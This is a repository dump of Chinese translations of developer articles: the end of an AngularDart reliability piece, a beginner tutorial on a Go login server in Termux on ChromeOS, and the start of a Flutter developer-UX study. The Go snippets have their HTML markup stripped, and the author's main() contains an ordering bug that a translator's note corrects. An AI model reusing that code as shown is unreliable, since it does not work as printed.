的某个员工说,某个代码库的 alpha 版本是稳定的版本和处于生产环境的版本,现在你知道是为什么了。 ### 大范围改动 如果 AngularDart 需要做出重大突破性改变的时候(比如,从 2.x 版本到 3.0 版本)并且这个改变会使 7 万 4 千个测试失效的时候怎么办?团队会去修复这些测试吗?他们会去修改**成千上万**大部分不是他们写的源码吗? 答案是:会。 一个关于声音类型系统 [sound type system](https://www.dartlang.org/guides/language/sound-dart) 的很酷的事情是你的工具将会变得更加有用。在声音的 Dart 中,举个例子,工具可以确认某个声音是哪种类型的。从重构的角度来说,这意味着很多改动都是全自动的,不需要开发人员去确认。 当类 Foo 里一个方法从 `bar()` 变成了 `baz()`,你可以通过整个 Google 项目来创建一个工具,来查找该 Foo 类及其子类的所有实例,并且把他们的 `bar()` 方法改为 `baz()` 方法。在那个 Dart 的声音类型系统中,你就可以确认这个改动不会破坏任何东西。在没有声音类型的情况下,任何一个小的改动都会让你陷入困境。 ![](https://cdn-images-1.medium.com/max/800/1*yxqdl9CBoB48XG0avf4piQ.gif) 另一个能帮助你进行大范围修改的就是 [dart_style](https://github.com/dart-lang/dart_style) ,Dart 的默认格式化器。所有在 Google 的 Dart 的代码都是通过这个工具格式化的。当你的代码被审查的时候,它就会自动使用 dart 的样式工具自动格式化,所以没有关于是否把换行放在这里或那里的论据。这也适用于大范围的重构。 ### 性能指标 正如我上面所说,AngularDart 受益于其依赖的测试。但测试仅仅是测试而已。Google 非常严格地衡量其应用的性能,所以大多数(所有?)生产环境中的应用都有基准套件。 因此,当 AngularDart 团队引入了一项变化,导致 AdWords 速度下降1%时,他们在发生变化*之前*就知道会这样了。当这个团队在10月份[表示](https://www.youtube.com/watch?list=PLOU2XLYxmsILKY-A1kq4eHMcku3GMAyp2&v=8ixOkJOXdMo),AngularDart 应用程序自8月以来已经减少了 40% 的体积,并且增长了 10% 速度时,他们不是在探讨一些合成的小型 TodoMVC 示例应用。他们谈论的是现实生活中,承担关键任务的生产环境中的应用,数百万用户和兆字节的业务逻辑代码。 ![](https://cdn-images-1.medium.com/max/800/1*FFPofhArfE_q-ppyTkDniA.png) ### 附注:封闭式构建工具 你可能想知道:这个人怎么知道往 AngularDart 中这个巨大仓库的引入一点错误的代码后运行了哪些测试?当然,他不是手工挑选的 7 万 4 千次测试,而且肯定他没有运行 Google *所有*的测试。答案就是一个叫 Bazel 的东西。 当处于这个规模的时候,你不能用一系列 shell 脚本来构建东西。因为会把事情弄得支离破碎和出奇得慢。这就是你为什么需要这个封闭式构建工具。 “封闭” 在上下文中非常类似于函数领域中的“[pure](https://zh.wikipedia.org/wiki/%E7%BA%AF%E5%87%BD%E6%95%B0)”。你的构建步骤不会有副作用(就像临时文件,换了路径而已),并且它们的结果是确定的(相同的输入总是导致相同的输出)。在这种情况下,您可以在任何时间在任何机器上运行构建和测试,您将获得一致的输出。你不会再需要 `make clean` 这个命令。因此,您可以使用 build 或者 test 命令来来构建服务器并将其并行化。 ![](https://cdn-images-1.medium.com/max/800/1*sq_8UFpeBsxSIpBXpmWiSg.png) Google 花费了数年时间来开发这个构建工具。去年它开源啦,[开源地址](https://bazel.build/)。 多亏了这个基础设施,内部测试工具可以确定每个产生影响的 build 或者 test 命令,并在合适的时候运行它们。 ### 它意味着什么? AngularDart 的明确目标是在提高生产力,性能和可靠性方面上来建立大型 Web 应用程序。这篇文章希望涵盖最后一部分 — 可靠性,以及为什么如此重要的 Google 应用,如 AdWords 和 AdSense 使用这个框架。这不只是团队吹嘘自己的用户 — 如上所述,有大型内部用户的存在使得 AngularDart 不太可能引入表面的变化。所以使框架更可靠。 ![](https://cdn-images-1.medium.com/max/800/1*BjhLEoihrMr6eRcTYL50ag.png) 如果你正在寻找一个框架,它使得你的代码进行重大检修,并引入了最近几个月的主要功能,AngularDart 绝对不适合你。即使 AngularDart 团队希望以这种方式构建框架,我认为这篇文章讲得很清楚了,他们没法这么做。然而,我们确信,留给框架发展空间是少一点新潮,多一点稳定。 在我看来,预测开源技术栈能否得到长期良好的支持要看它的主要维护者是否把它当做业务的一部分。比如 Android、dagger、MySQL 和 git。这就是为什么我很高兴于 Dart 终于有了一个首选的 Web 框架(AngularDart),一个首选组件库( [AngularDart Components](https://pub.dartlang.org/packages/angular2_components) 组件)和一个首选移动框架( [Flutter](https://flutter.io/) ) ——  所有这些都用于构建 Google 的关键应用。 ================================================ FILE: TODO/how-i-built-a-web-server-using-go-and-on-chromeos.md ================================================ * 原文地址:[How I built a web server using Go — and on ChromeOS](https://medium.freecodecamp.com/how-i-built-a-web-server-using-go-and-on-chromeos-3b83e4c2da5f#.rwir5yc1k) * 原文作者:[Peter GleesonFollow](https://medium.freecodecamp.com/@petergleeson1?source=post_header_lockup) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[xiaoyusilen](http://xiaoyu.world) * 校对者:[nicebug](https://github.com/nicebug),[steinliber](https://github.com/steinliber) # 如何在 ChromeOS 下用 Go 搭建 Web 服务 # ## Linux →ChromeOS →Android →Linux Emulator ## 图片来自 [WikiMedia](https://upload.wikimedia.org/wikipedia/commons/6/69/Wikimedia_Foundation_Servers-8055_35.jpg) 有时会有人问我:「你究竟为什么要用 Chromebook 做 Web 开发呢?」。大家似乎不相信我能够在一台定位为简单易用的机器上学习全栈 Web 开发。 事实上我对在圣诞打折季买的这玩意没有抱太大的期望。我觉得它就是个带有编辑器和浏览器的低成本设备,可以随时随地学习前端开发和看 YouTube。此外,我也十分热衷于「云计算」这个概念,它代表着未来的趋势。 事实证明,这个小的机器居然有带给我意外惊喜的本事。它的启动速度实在是快,电池续航能力很强,并且在无处不在的「云」的帮助下,你几乎可以做所有你可以在其他机器上完成的事情。另外,我选择的机型有一个触摸屏,它可以向后翻折不同的角度而成为一个平板电脑,或者像「帐篷」一样立起来,或者摆成任何你觉得看着很酷的姿势。 在过去几个星期中,我对后端开发更感兴趣(一部分原因是因为我对 CSS 实在是抓狂)。我学习了关于如何在 Chromebook 上安装 Ubuntu Linux(如果我理解的正确的话,ChromeOS 就是基于 Linux 内核基础上开发的)。本来我是要安装 Ubuntu 的,但是它涉及到切换到开发者模式的步骤,并且需要抹掉本地存储并且要关闭 ChromeOS 中所有出色的安全功能。由于以上原因我决定找其他解决方案。 我发现 ChromeOS 运行的特别好。Google 已经在一些 Chromebook 机型上安装了一些 Android 应用,除了设计和用户体验不是很好之外,Android 手机上可以运行的任何程序都可以顺利地在 ChromeOS 上运行。例如,我安装了一个叫 [Termux](https://termux.com/) 的应用,它是一个在 Android 上不需要 root 权限的 Linux 模拟器。最近我一直在摆弄这个模拟器,现在我可以告诉你,[Fredrik Fornwall](https://medium.com/@fornwall) 做的这东西太棒了,令我印象深刻。 我照着 [Aurélien Giraud](https://medium.com/@aurerua) 写的几篇[文章](https://medium.freecodecamp.com/building-a-node-js-application-on-android-part-1-termux-vim-and-node-js-dfa90c28958f)开始搭建环境。惊喜的是,还没用一杯咖啡的工夫,我就在 Chromebook 上运行起了 Node.js 的服务和一个 NeDB 数据库,而且根本不需要切换到开发者模式。如果你有个安卓设备,我强烈建议你收藏下 Aurélien 的教程并且照着试试。不需要多久,就能在手机上运行起来一个 Node.js 服务。 虽然现在我用 Node 用的很爽,但是我也对一些写服务端的语言感兴趣,打算挑出几个作为深入研究的备选语言。[Go](https://tour.golang.org/welcome/1) 是我正在学习的语言之一,它是 Google 在 2009 年推出的。现在已经变得十分热门,名列 2016 年[年度编程语言](http://insights.dice.com/2017/01/10/go-tiobe-programming-language-2016/)之中。 Go 在某些方面很像 C 和 C++,并且它的设计确实受到了它们的影响。然而,创建 Go 的主要动机是不喜欢这些历史悠久语言的复杂性。因此,Go 特意设计成一种更容易使用的语言。 #### 能简单多少? #### 例如,Go 语言中没有「while」循环。涉及到循环的时候,你有且只有一个选择:就是「for」循环。 ```go //一个经典的「while」循环 for i < 1000 { //循环体 i++ } ``` Go 语言中类型推导是可选的。你可以用标准写法声明并且初始化一个变量,也可以用简易的方法来隐式的赋值。或采取一个快捷方式和隐式分配类型。 ```go var x int = 2 //等同于 x := 2 ``` 「if」和「else」的语句很简单: ```go x := 5 if x > 10 { fmt.Println("Greater than 10") } else { fmt.Println("Less than or equal to 10") } ``` 同时 Go 的编译速度也很快,并且标准库中也提供了各种有用的包,这些包在网上都有很棒的文档。并且它们在很多[项目](https://en.wikipedia.org/wiki/Go_%28programming_language%29#Projects_using_Go)中被使用,包括一些家喻户晓的名字例如 Google,Dropbox,Soundcloud,Twitch 以及 Uber。 我认为如果 Go 对这些公司来说都足够好的话,那么可能也值得你看一看。对于任何一个准备迈出他后端开发的第一步的人而言,我结合在 Termux 上使用 Go 的经验整理出了一些教程。如果你有一个 Android 设备,或者有一台在 Google Play 有访问权限的 Chromebook 上的,那么安装并且运行 Termux,我们就可以开始了。 如果你有一个常规的 Linux 设备,也可以使用 Termux!Termux的教程对于[任何支持 Go 的平台](https://golang.org/doc/install)都是通用的。 #### 从 Termux 开始 #### 像其他的 Android 应用一样,Termux 只需要到应用商店搜索并点击安装,可以十分简单的下载安装到你的设备上。装好之后打开它你就会看见一个简洁的空命令行。这里我强烈推荐使用物理键盘(内置,USB 或者蓝牙键盘都可以),如果手头没有键盘,那么推荐你去下载一个叫「Hacker’s Keyboard」的安卓软件。 正如 Aurélien 去年的教程中所说,Termux 很少被预装。所以在终端中运行以下命令: ```shell $ apt update $ apt upgrade $ apt install coreutils ``` 好。现在所有的东西都是最新的了,coreutils 将会帮助你更容易的切换到对应的文件目录。让我们看看我们现在在目录中的哪个位置。 ```shell $ pwd ``` 这个命令会返回一个路径,会展示当前所在目录的位置。如果我们没有在 /home 下,那让我们到「home」文件夹下看看那里面有什么: ```shell $ cd $HOME && ls ``` 好,让我们为 Go 教程新建一个目录,然后到那个目录去。然后我们可以创建一个文件叫做「server.go」。 ```shell $ mkdir go-tutorial && cd go-tutorial $ touch server.go ``` 如果我们输入「ls」,我们可以在目录中看到这个文件。现在,让我们先找一个文本编辑器。Aurélien 的教程推荐你使用 Vim,如果你喜欢用它,那就尽管用它。这里还有一个对待「初学者更加友好」的编辑器 nano。我们安装它,然后打开我们的 server.go 文件。 ```shell $ apt install nano $ nano server.go ``` 棒!现在我们可以敲尽可能多的我们喜欢的代码了。但是在我们开始之前,让我们先安装一下 Go 编译器,因为我们需要编译器才能使我们的代码工作。使用 Ctrl+X 退出 nano,然后在命令行中输入: ```shell $ apt install golang ``` 现在,让我们回到 nano,然后开始写我们的服务端的代码。 #### 搭建一个简单的 Web 服务 #### 我们将写一个简单的程序来启动一个提供 HTML 页面的服务,这个页面让用户输入密码登录并且可以看到欢迎信息(或者如果密码错误的话会看到「对不起,请重试」这类的消息)。在 nano 中,我们写入以下代码: ```go //搭建一个 Web 服务 package main import ( "fmt" "net/http" ) ``` 我们目前所做的是创建了一个包。Go 程序通常是在包中运行的。这是存储和组织代码的一种方式,并且让你可以更好更方便的调用其他包中的方法。事实上,这也是我们接下来要做的事情。我们已经告诉 Go 导入「fmt」包以及标准库中「net」包下的「http」包。这些包中的方法可以让我们可以使用「格式化 I/O」以及处理 HTTP 请求和响应。 现在,让我们在网上做这个东西。我们继续写下以下代码: ```go func main() { http.ListenAndServe(":8080",nil) fmt.Println("Server is listening at port 8080") } ``` 像 C,C++,Java 等等,Go 程序从一个 main() 函数开始。我们已经告诉服务器去监听 8080 端口的请求(可以任意选择一个不同的数字),并且打印一个信息让我们知道它正在做什么。 好了!让我们保存这个文件(Ctrl+O),退出(Ctrl+X)然后运行我们的程序。在命令行中输入: ``` go run server.go ``` 这个命令将会让 Go 编译器编译并且运行这个程序。短暂的暂停后,程序应该运行了。你将希望看到以下输出: ``` Server is listening at port 8080 ``` 棒!你的服务器正在监听 8080 端口的请求,不幸的是,它不知道如何处理它接收到的请求,因为我们没有告诉它如何回应。这就是下一步,使用 Ctrl+C 结束服务程序,然后在 nano 中重新打开 server.go。 #### 发送响应 #### 我们需要服务器去「处理」请求,然后返回适当的响应。幸运的是,我们导入的「http」包使这些变得很容易。 为了可读性更好,我们在 import() 和 main() 之间插入以下代码。我们可以在 main() 下面继续写代码,实际上在任意位置都是可以的,只要你喜欢就好。 无论如何,让我们来写一个处理函数。 ```go func handler (write http.ResponseWriter, req *http.Request) { fmt.Fprint(write, "

      Hello!

      ") } ``` 这个函数有两个参数,**write** 和 **req**。这两个参数的类型被定义为在「http」包中定义的 **ResponseWriter** 和 ***Request**,然后我们让服务中写一些 HTML 作为响应。 为了使用这个函数,我们需要在 main() 函数中调用它,添加下面这些加粗的代码: ```go func main() { http.ListenAndServe(":8080",nil) fmt.Println("Server is listening at port 8080") http.HandleFunc("/", handler) } ``` 我们添加的这一行从「http」包中调用 HandleFunc()。这个方法需要两个参数。第一个参数是一个字符串,第二个使用我们刚刚写的 handle() 函数。我们让服务器用 handle() 处理对 web 根目录下「/」的所有请求。 保存并且关闭 server.go,然后到控制台,再次启动服务。 ``` go run server.go ``` 同样,我们应该看到输出信息,让我们知道服务器正在监听请求。那么,为什么我们不发送请求呢?打开你的 Web 浏览器并且访问 [http://localhost:8080/](http://localhost:8080)。 Chromebook 对于其他浏览器的使用有着较大的限制,但是我发现 Chrome 在连接到任何本地端口的时候会有些不好用。从应用商店中下载 Mozilla Firefox for Android 可以解决这个问题。 或者,你想完全留在 Termux(为什么不呢?),那就试试 Lynx。这是 1992 年推出的一个基于文本的浏览器。这里没有图片,没有 CSS,当然也没有 JavaScript。不过对于本教程来说是完全够用的,安装并运行它: ```shell $ apt install lynx $ lynx localhost:8080 ``` 在 Termux 中运行的 Lynx 浏览器中查看 Medium 的主页 如果一切顺利,你应该在你选择的浏览器中看到一个标题「Hello!」。如果没有,回到 nano 然后检查 server.go 的代码。我第一次发现的错误包括在 import() 语句使用大括号 {},而不是括号。还有搞错了一些看上去像是点的逗号(也许我应该用 Ctrl+Alt+「+」来放大 Termux 中的字)。 #### 世界上最独特的网站 #### 我们的服务现在用一个较短的 HTML 来响应 HTTP 请求。虽然算不上是下一个 Facebook,但是比我们之前距离更近了一些。我们来让它变得更有趣一点。 总结一下:我们要做一个页面,要求用户输入密码。如果密码输入错误,用户会收到一条警告消息。如果密码输入正确,用户就会看到一个「欢迎!」的消息。因为它是你自己机器上的服务,所以只有你知道密码,因此它是一个**非常**独特的网站。 首先,我们把 HTML 响应变得更有趣一些。让我们回到我们之前写的 `handler()`。粘贴所有以下的代码,以粗体替代已经存在的内容(全部都在一行)。一定要小心引用的部分!我在开始和结束的地方用了双引号,在 HTML 的部分用了单引号。确保一致。 ```go func handler (write http.ResponseWriter, req *http.Request) { fmt.Fprint(write, "

      Login

      Password:

      ") } ``` 当我们运行服务的时候,HTML 应该呈现以下页面: 前台:Mozilla Firefox for Android;后台:Lynx for Termux。 现在我感觉我已经有点熟悉HTML了。简单来说,我们有一个头和一个表单。表单的「action」属性被设为「/log-in/」它的方法被设置为 POST。有两个输入字段:一个用于输入密码,另一个用于提交表单。密码字段被叫做「pass」。我们稍后会用到这些名字。 现在如果我们输入密码并且提交会发生什么?我们要向服务器发出另一个 HTTP请求(「/log-in/」),因此我们需要写另一个处理这个请求的方法。回到 Termux,在你选择的编辑器中打开 server.go。 我们要再写另一个函数(就我而言,我会在 handler() 和 main() 之间写,但是你可以按照适合你的方法去做)。这是另一个处理 HTTP 「/log-in/」请求的方法,这是在用户提交我们之前做的表单时发出的。 ```go func loginHandler (write http.ResponseWriter, req *http.Request){ password := req.FormValue("pass") if password == "let-me-in" { fmt.Fprint(write, "

      Welcome!

      ") } else { fmt.Fprint(write, "

      Wrong password! Try again.

      ") } } ``` 和之前一样,这个方法有两个参数,**write** 和 **req**,它们也被定义为「http」包中已定义的相同类型。 然后我们创建一个叫做 **password** 的变量,我们把它设置成等于请求表单中「pass」的值。注意使用「:=」的隐式类型赋值,我们可以这样做是因为密码字段的值将始终作为字符串发送。 接下来是一个「if」语句,使用「==」比较运算符来检查密码是否与「let-me-in」的一致。这当然取决于我们如何定义正确的密码。你可以把这个字符串改成任何你喜欢的。 如果字符串是相同的,你就登录成功了!现在,我们输出了一个无聊的「欢迎」的消息。我们接下来将会修改这个。 否则,如果字符串不一致,我们就会输出「重试」的消息。同样,我们可以使这个变得更加有趣。首先,如果密码表单仍然可供用户使用,这将是有用的。添加以下加粗的代码。是和之前的 HTML 一样形式的密码: ```go func loginHandler (write http.ResponseWriter, req *http.Request){ password := req.FormValue("pass") if password == "let-me-in" { fmt.Fprint(write, "

      Welcome!

      ") } else { fmt.Fprint(write, "**

      Login

      Password:

      **

      Wrong password! Try again.

      ") } } ``` 我还在「重试」消息里添加了一些简单的样式。你也可以不加,但是为什么不呢?让我们也对「欢迎」消息做同样的处理: ```go func loginHandler (write http.ResponseWriter, req *http.Request){ password := req.FormValue("pass") if password == "let-me-in" { fmt.Fprint(write, "**

      **Welcome!

      ") } else { fmt.Fprint(write, "

      Login

      Password:

      Wrong password! Try again.

      ") } } ``` 差不多了!我们写了 loginHandler() 函数,但在我们的 main() 函数中没有引用它。添加以下加粗的代码: ```go func main() { http.ListenAndServe(":8080",nil) fmt.Println("Server is listening at port 8080") http.HandleFunc("/", handler) http.HandleFunc("/log-in/", loginHandler) } ``` 至此,我们已经告诉服务如果它接收到一个「/log-in/」的请求(这将随时发生在用户点击提交按钮的时候),它使用 `loginHandle()` 方法做出响应。我们已经完成了!server.go 的全部代码应该与以下代码一致: ```go //搭建一个 Web 服务 package main import ( "fmt" "net/http" ) func handler (write http.ResponseWriter, req *http.Request) { fmt.Fprint(write, "**<**h1>Login
      Password:

      ") } func loginHandler (write http.ResponseWriter, req *http.Request){ password := req.FormValue("pass") if password == "let-me-in" { fmt.Fprint(write, "

      Welcome!

      ") } else { fmt.Fprint(write, "

      Login

      Password:

      Wrong password! Try again.

      ") } } func main() { http.ListenAndServe(":8080",nil) fmt.Println("Server is listening at port 8080") http.HandleFunc("/", handler) http.HandleFunc("/log-in/", loginHandler) } ``` 保存并且退出 nano,然后到命令行,我们让 Go 编译器去编译我们的服务程序。这个命令只需要编译程序一次,此后我们就可以随时运行它。 ``` go build server.go ``` 给它一点时间去编译,然后输入下面的命令: ``` ./server ``` 你应该看到和之前一样的「监听」信息。现在,如果你打开浏览器并且输入 [http://localhost:8080](http://localhost:8080),你将会被要求输入密码。如果我们输入的不正确,我们就会看到下面的界面: 不对! 反之,如果我们输入正确的密码: Firfox 看上去似乎比 Lynx 更热情一些… #### 结语 #### 如果你已经看了这篇文章,我希望你可以喜欢这个教程,并发现它对你有帮助。我把读者放在和我一样的位置上 — 对于web全栈开发十分感兴趣并且打算学习服务端知识的新手。 当然,我们在这里创建的这个简单的登录页面还有很长的路要走。你不会像我们做的一样将 HTML 写入 handler 函数中(我正打算看看 Go 的 HTML 包有一些不错的可选的模板),也不会在「if」语句中写出正确的密码。最好有一个存储密码和用户名的数据库,你的服务器每次收到登录请求时会去查询。 为此,Termux 提供了一个 SQLite 包,并且 Node.js 中提供了各种数据库的包。这个教程的一个很酷的延展方向是可以去创建一个保存用户名以及对应密码的数据库,并且允许新的用户加入。你需要添加另外一个输入项,并修改 loginHanlder() 函数。 我已经表达了我对于 Termux 的观点 — 它很棒,我希望它能够适于用更多的应用。不光是 Go 和 Node.js,我同样用它成功的写过并且编译和运行了简单的 C,C++,CoffeeScript,PHP 以及 Python 3.6等语言的代码,并且仍然有一些其他语言我没有尝试过(有人试过 Erlang/Lua/PicoLisp吗?) 至于 Go,第一次使用令我非常满意。我喜欢它专注于简易性,并且我喜欢它的语法,而且它的文档很容易理解,它让我可以根据我的理解去开发。一个初学者的意见是有价值的,这点就像是 C++ 和 Python 的结合。在某种程度上,这可能恰好是它的意义所在! #### 译者注 感谢大家的阅读,首先,这是一篇 Go 语言的入门文章,不过作者的代码有一点小问题,发表前我已经向作者提出问题,暂时还没有收到回复,收到回复后会在文章中更新,现在根据我的理解稍作分析,这是作者的最后一段代码: ```go func main() { http.ListenAndServe(":8080",nil) fmt.Println("Server is listening at port 8080") http.HandleFunc("/", handler) http.HandleFunc("/log-in/", loginHandler) } ``` 监听是阻塞的执行,内部一直 runloop 等待网络请求,不退出。所以监听一旦打开,后续代码都不会执行,直到按 ctrl+c 强制结束。这一点,我们从 `ListenAndServe` 的源码中看出: ```go // ListenAndServe always returns a non-nil error. func ListenAndServe(addr string, handler Handler) error { server := &Server{Addr: addr, Handler: handler} return server.ListenAndServe() } ``` 因此作者的代码中执行到 `http.ListenAndServe(":8080",nil)` 后,后续代码都不会继续执行。所以这里应该先设置访问路由,再监听端口。否则这段代码是无法出现预期效果的。修改后代码如下: ```go func main() { http.HandleFunc("/", handler) http.HandleFunc("/log-in/", loginHandler) fmt.Println("Server is listening at port 8080") http.ListenAndServe(":8080",nil) } ``` > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/how-i-do-developer-ux-at-google.md ================================================ > * 原文地址:[How I do Developer UX at Google](https://medium.com/google-design/how-i-do-developer-ux-at-google-b21646c2c4df) > * 原文作者:[Tao Dong](https://medium.com/@taodong) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-i-do-developer-ux-at-google.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-i-do-developer-ux-at-google.md) > * 译者:[Lai](https://github.com/laiyun90) > * 校对者:[临书](https://github.com/tmpbook) [Cherry](https://github.com/sunshine940326) # 我是如何在谷歌做开发者用户体验的 **基于 Flutter 的用户调研进行说明** ![](https://cdn-images-1.medium.com/max/1600/1*-fxLDg9RoGtL2X8zYmb2pA@2x.jpeg) 人们谈论用户体验(UX)时,谈论的对象通常是他们所热爱的消费产品,比如:智能手机、消息应用或者一副耳机。 但是当你为开发者构建产品时,用户体验同样也很重要。人们往往会忘记开发人员也是用户,从本质上来说,软件开发是一项不仅受限于计算机的工作方式,而且也受限于程序员工作方式的人类活动。诚然,通常情况下开发人员的数量要比普通消费者少,但是开发人员所使用工具的可用性越高,越能使他们花费精力去为用户创造价值。因此,就产品来说,开发人员的用户体验和普通消费者的同样重要。在本文中,我将介绍为开发人员设计的开发者体验,阐述我们在谷歌对它进行评估的一种方法,并分享一些我们在开展 [Flutter](https://flutter.io/)(一个构建美观移动应用的新型 SDK)项目时,从一个具体研究中学到的经验教训。 为开发人员设计开发者体验并不是一个新鲜的想法。开发人员用户体验的相关研究可以追溯到早期计算时代,因为在一定程度上,当时所有的用户都是开发者。出版于 1971 年的 「[程序开发心理学](https://book.douban.com/subject/4734656/)」 是这个领域的里程碑式的著作。当我们谈到开发者体验,特别是将这个术语应用于 SDK 或库时,我们通常会考虑产品的三个方面: - **API 设计**,包括类、方法和变量的命名,API 的抽象级别,API 的组织以及 API 的调用方式。 - **文档**,包括 API 参考和其他学习资源,如教材、操作指南和开发人员指南。 - **工具**,涉及到有助于编辑、调试和测试代码的命令行界面(CLI)和 GUI 工具。比如,[研究](https://www.cl.cam.ac.uk/~mcm79/pdf/2015-PPIG.pdf) 表明,IDE 中的自动完成功能对如何在编程中发现和使用 API 有很大的影响 开发者体验的这三大支柱相辅相成,所以需要打包来设计和评估。 #### 我们如何观察开发人员的用户体验? ![](https://cdn-images-1.medium.com/max/1200/1*4kBtrc2qTpzT89KgnBmGVA.png) 我们用来评估开发人员用户体验的一种研究方法是**观察**真正的开发者如何使用我们的 SDK 和开发工具来执行一个实际的编程任务。这种被称为用户测试的方法,被广泛应用于消费者 UX 研究,我们对它做出调整来评估为开发者设计的产品。在关于 [Flutter](http://flutter.io) 的具体研究中,我们邀请了 8 位专业开发人员,请他们分别执行上面的模型。 在这个过程中涉及到的一个关键方法是 [有声思维法](https://en.wikipedia.org/wiki/Think_aloud_protocol)。这是 Clayton Lewis 在 IBM 研发的口头报告协议,能够帮助我们了解参与者行为背后的原因。我们给了参与者以下说明: > 「当你在编程练习时,请『出声思考』。也就是说口头描述你的思维发展变化的过程,包括你的疑惑和问题、你所考虑的解决策略,以及你做出决定的理由。」 我们进一步向参与者保证,我们评估的是 Flutter,而不是他们的编程技能: > 「请记住我们正在测试 Flutter 的开发人员使用体验,并非对您的考验。所以任何让您感到困惑的事情都是我们需要解决的。」 每一次的开发者测试,都是从访问参与者的背景作为热身,然后留给他们大约 70 分钟的时间来完成任务。在最后 10 分钟,我们会询问参与者的体验。每次测试中,我们都会向身处单独会议室的产品工程师团队不公开地直播测试情况,包括测试者电脑显示屏的内容。为了保护参与者的隐私,我们将使用编号(例如,P1、P2、P3 等)来标识他们,而非他们在本文中的姓名。 --- 所以,从这次的研究中我们对开发者的体验有什么了解呢? #### 1. 提供大量的示例,并有效地展示 在几轮用户测试之后,能够明显看出开发人员想从示例中学习如何使用新的 SDK。但是问题并不在于 Flutter 没有提供足够的例子 -- 它的 Github 资料库中有 [大量的例子](https://github.com/flutter/flutter/tree/master/examples)。问题在于,这些例子没有被组织起来,以一种真正对我们研究的参与者有帮助的方式呈现。出现这样的问题有两个原因: 首先,Flutter 的 Github 库里的代码示例缺少截图。当时,Flutter 的网站提供了一个链接,可以在其 Github 库里搜索到包括特定小部件在内的所有代码示例,但是参与者很难确认哪个示例会产生预期的结果。你必须在设备或模拟器上运行示例代码,才能看到小部件的外观,这是没有人愿意费心去做的。 ![](https://cdn-images-1.medium.com/max/1200/1*wl0E4X5dwf8ffO5U5WB6SQ.png) > 「链接到实际的代码是很好的。但是除非看到输出,否则很难选择要使用哪一个。」 (P4) 第二,参与者期望在 API 文档中看到示例代码,而不是其他零散的地方。试错是学习 API 的常用方法,API 文档中的片段可以使这种学习方法得以实现。 > 「我点击『文档』,但它是 API,而不是示例。」 (P4) 几个 Flutter 团队的工程师通过直播观察了用户测试,他们被一些参与者经历的挑战所触动。因此,该团队已经开始持续地向 Flutter 的 API 文档(例如,[ListView](https://docs.flutter.io/flutter/widgets/ListView-class.html) 和 [Card](https://docs.flutter.io/flutter/material/Card-class.html))中增加更多示例代码。 [![](https://cdn-images-1.medium.com/max/1600/0*4U5ykS-eke_6ridl.)](https://docs.flutter.io/flutter/widgets/ListView-class.html) 此外,团队开始为更大的代码示例构建 [一个精心策划的视觉目录](https://flutter.io/catalog/samples/)。现在只有少数示例,但是每个示例都有截图和完整可运行的代码,所以发开人员可以很快确定一个示例是否对其问题有用。 [![](https://cdn-images-1.medium.com/max/1600/0*mOqhzOt9tm8Z81m5.)](https://flutter.io/catalog/samples/) #### 2. 适应开发人员的认知能力 编程是一种认知高度紧张的活动。在这种情况下,我们发现一些开发人员很难只用代码编写 UI 布局。在 Fluttter 应用程序中,构建布局涉及在树中选择和嵌套小部件。例如,要在咖啡馆信息卡中构建布局,需要正确地组织几个行小部件和列小部件。这看起来并不是一项艰巨的任务,但是三名参与者在试图创建这个布局时,搞混了行和列。 ![](https://cdn-images-1.medium.com/max/1600/1*ZsPJlXU8Kuy1ljzQMufy8Q.png) ``` new Card( child: new Container( child: new Row( children: [ titleSection, new Container( child: new Row( children: [ phoneNumber, new Container( child: emailWidget ), ] ) ) ] ) ) ) ``` > 「你能告诉我你想输出什么吗?」(主持人) > [出声思考] 「哦,我或许应该用列而不是行。」(P6) 我们转向认知心理学寻求解释。事实证明,用代码构建布局需要对物体之间的空间关系进行推理的能力,认知心理学家将其视为 [空间可视化能力](https://en.wikipedia.org/wiki/Spatial_visualization_ability)。正是这种能力影响了一个人有多么擅长解释驾驶方向或者转动魔方。 这一发现改变了一些团队成员对于可视化 UI 构建器的看法。该团队非常高兴能够看到社区驱动在这方面的探索,例如名为 [Flutter Studio](http://mutisya.com/) 的基于 Web 的 UI 构建器。 #### 3. 促进识别而非回忆 用户界面应该避免强迫用户回忆信息(比如一个隐晦的命令或者参数),是众所周知的 [用户体验原则](https://www.nngroup.com/articles/recognition-and-recall/)。相反,用户界面应该允许用户识别出可能的操作过程。 这个原则和软件开发有什么关系?我们观察到的一个问题是,很难直观的了解 Flutter 部件的默认布局行为并弄明白如何改变它们。例如,参与者 P3 不知道为什么卡片在默认情况下会缩小到它所包含的文本的大小。P3 难以解决如何使卡片填充整个屏幕宽度的问题。 ![](https://cdn-images-1.medium.com/max/1200/1*HAbAkFXFMzPhTSRcwtpHvQ.png) body: new Card( child: new Text( ‘1625 Charleston Road, Mountain View, CA 94043’ ) ), > 「我想要的是让它占据屏幕的整个宽度。」(P3) 当然,很多程序员最终会弄明白这个问题,但是他们下一次遇到同样的问题时,他们需要**回忆**如何去做。对于开发人员来说,在这种情况下没有可视的线索来**识别出**解决方案。 该团队正在探索几个方向,来减少构建布局中回忆的负担: - 总结小部件的布局行为,使它们更易于理解。 - 提供同时含有代码和图片的布局样例,将一些回忆任务转变为识别任务。 - 提供一个 Chrome-style 的检查器来显示小部件属性的“计算值”。 #### 4. 预料到开发人员会对“就在眼前”的东西视而不见 一个让 Flutter 团队感到自豪的特性是 Hot Reload。它允许开发人员在一秒内将改变应用到一个运行态的 App 中,而不会丢失应用程序的状态。执行一次 Hot Reload 就像点击 IntelliJ IDE 中的一个按钮,或者在控制台按下 “r” 一样简单。 然而,在前几次的用户测试研究中,研究小组对一些参与者在文件保存时触发 Hot Reload 的预期感到困惑。尽管事实上,Hot Reload 按钮启动指令时就显示在 入门引导的 gif 